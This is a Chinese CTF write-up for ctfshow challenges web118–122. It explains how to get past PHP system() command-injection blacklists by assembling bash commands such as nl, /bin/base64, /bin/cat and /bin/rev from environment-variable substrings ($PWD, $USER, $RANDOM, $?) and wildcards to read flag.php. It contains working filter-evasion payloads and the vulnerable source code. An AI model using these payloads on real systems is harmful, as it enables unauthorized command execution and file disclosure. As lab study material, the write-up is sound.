web118
是一个窗口
查看源码 发现是system($code) 命令执行
经过测试禁用了很多东西 很多很多
$IFS可以 思路就是使用系统变量 构造我需要的poc
这些都是系统的环境变量
这是答案${PATH:~A}${PWD:~A}$IFS????.???
解释一下
PATH变量输出结尾一般都是n
因为网站默认根目录为/var/www/html 所以${PWD:~A}取值就是l
题目还提示flag在flag.php中
所以就是${PATH:~A}${PWD:~A}$IFS????.???
翻译过来就是 nl flag.php
注意 因果过滤了很多 如何判断过滤了哪些呢 写一个小字典把所有字符写出来 然后使用bp爆破 因为如果是过滤的页面就会返回evil input 否则什么都没有 这么一看数据包是有区别的 最后发现可以用发现可以用
大写字母A-Z
和${}~.?:
web119
大师傅讲的我没有听懂 太难了根本理解不了
但是网上找的都好理解
首先看
linux bash内置变量表
第一种方法
答案是
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???使用的方法是 /bin/base64 flag.php的方式
/使用${PWD::${#SHLVL}}构造
4使用${#RANDOM}构造
因为RANDOM属于随机变量 输出4或者5 所以多提交几次即可
第二种方法
${PWD} :/var/www/html
${USER} :www-data
${HOME} :当前用户的主目录开始构造:可以构造一下/bin/cat
/:${PWD::${#SHLVL}}
a:${USER:~A}
t:${USER:~${#SHLVL}:${#SHLVL}}构造出/bin/cat flag.php
答案是
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.???
web120
给出了源码
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
使用上一题的payload即可 知识改为了POST 一个道理
web121
这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/和r字符,或者 v。
构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
web122
解答:这次PWD被过滤了,但是HOME可以用了。
1)/可以通过HOME获取,需要数字1,但是#被过滤了。
$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127。
为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A。
这里要说一下,我看有一些wp写的$?返回值的内容是linux的error
code,并不是,<A提示的错误是no such file or dictionary,它对应的error code 是2,但是$?的结果是1。
——$?返回数据具体都有什么,这个我没有查到。2)这次可以用命令/bin/base64。因为,${RANDOM}可以出现4或5,可以构造/???/?????4。需要多试几次才能拿到flag。
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
多刷新几次
解码